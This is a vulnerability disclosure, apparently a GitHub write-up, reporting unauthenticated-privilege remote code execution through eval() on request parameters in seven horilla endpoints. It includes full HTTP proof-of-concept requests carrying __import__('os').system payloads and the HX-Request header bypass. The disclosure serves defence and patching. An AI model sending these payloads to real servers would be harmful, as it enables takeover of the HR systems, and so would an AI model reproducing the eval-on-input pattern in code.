Skip to content

Latest commit

 

History

History
160 lines (96 loc) · 6.6 KB

horilla_RCE.md

File metadata and controls

160 lines (96 loc) · 6.6 KB

BUG_Author

YiLin Li

Affected version

horilla ≤ 1.2.1

Vender

www.horilla.com

Software

image

Vulnerability File

attendance/views/requests.py → request_new()

attendance/views/requests.py → get_employee_shift()

payroll/views/component_views.py → create_reimbursement()

pms/views.py → key_result_current_value_update()

pms/views.py → create_meetings()

recruitment/views/views.py → create_skills()

Description

Multiple remote command execution vulnerabilities were found in horilla. Multiple handlers in horilla did not perform reasonable privilege checks, allowing request parameters from external sources to be passed into the eval() method, which ultimately led to the vulnerabilities.

URL Vulnerability parameter Request method
1 /attendance/request-new-attendance bulk GET
2 /attendance/get-employee-shift bulk GET
3 /payroll/create-reimbursement instance_id GET
4 /pms/key-result-current-value-update current_value POST
5 /pms/key-result-current-value-update emp_key_result_id POST
6 /pms/create-meeting instance_id GET
7 /recruitment/create-skills/ instance_id GET

Status

Critical

Code Analysis

I will analyse the code that causes the vulnerability at each handler

  1. The cause of the vulnerability at /attendance/request-new-attendance is as follows:

image

where input from bulk is unfiltered and executed as python code.

  1. The cause of the vulnerability at /attendance/get-employee-shift is as follows:

image

where input from bulk is unfiltered and is executed as code, the value of employ_id is irrelevant.

  1. The cause of the vulnerability at /payroll/create-reimbursement is as follows:

image

where the input from instance_id is not filtered and is executed as code.

4/5. The cause of the vulnerability at /pms/key-result-current-value-update and /pms/key-result-current-value-update is as follows:

image

Where inputs from current_value and emp_key_result_id are not filtered and are executed as code.

  1. The cause of the vulnerability at /pms/create-meeting is as follows:

image

where the input from instance_id is not filtered and is executed as code.

  1. The cause of the vulnerability at /recruitment/create-skills/ is as follows:

image

where the input from instance_id is not filtered and is executed as code.

Trigger the vulnerability

The causes of these vulnerabilities are similar, so I've chosen the view function located on /attendance/request-new-attendance and /pms/key-result-current-value-update to illustrate how vulnerabilities can be triggered

Firstly, I created a normal user ‘spiderman’ with minimum privileges. In the Django backend, you can see that ‘spiderman’ is not an administrator and does not have any permissions.

image

Subsequently, use spiderman to log into horilla and record the csrftoken in the cookie and the csrfmiddlewaretoken in the parameter when logging in.

image

For the first vulnerability: Construct a GET request to access /attendance/request-new-attendance using the sessionid of the logged-in session, with the request parameters bulk=__import__('os').system('touch /home/lyl/hackInAttendance')

image

Notice that the Handler uses the @hx_request_required decorator for bypassing, so the following needs to be added additionally to the request header:

HX-Request: true

After sending this request, we can see the file /home/lyl/hackInAttendance being created on the horilla server, indicating that the code was executed successfully.

image

For the second vulnerability: Construct a POST request to access /pms/key-result-current-value-update using the sessionid of the logged-in session and the previously recorded csrftoken and csrfmiddlewaretoken, with the request parameters current_value=__import__('os').system('touch /home/lyl/hackInPms')

image

After sending this request, we can see the file /home/lyl/hackInPms being created on the horilla server, indicating that the code was executed successfully.

image

Payload

/attendance/request-new-attendance

GET http://192.168.0.166:8000/attendance/request-new-attendance?bulk=__import__('os').system('touch%20%2fhome%2flyl%2fhackInAttendance') HTTP/1.1
Host: 192.168.0.166:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.166:8000/
HX-Request: true
Connection: close
Cookie: csrftoken=9eoX7czN8uY81y5W7OmIThrOcpc3JgPV; sessionid=bd8vz27cj76r5krhsbaphl1l6ewl3hqt

/attendance/request-new-attendance

POST http://192.168.0.166:8000/pms/key-result-current-value-update HTTP/1.1
Host: 192.168.0.166:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.166:8000/
Connection: close
Cookie: sessionid=bd8vz27cj76r5krhsbaphl1l6ewl3hqt; csrftoken=tyvez4ZtrW9QOPZJbu1JE1EfX58khXFD
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

current_value=__import__('os').system('touch%20%2fhome%2flyl%2fhackInPms')&csrfmiddlewaretoken=EcnYepzWpk3uctWQNtBthvlf3jPWdbk0XAI2DjofG62aQ8LpONs2LmPkQeN6kYPt

Fix Recommendations

  1. Add permission decorators to each Handler
  2. Whitelisting or regular filtering of arguments before calling the eval() method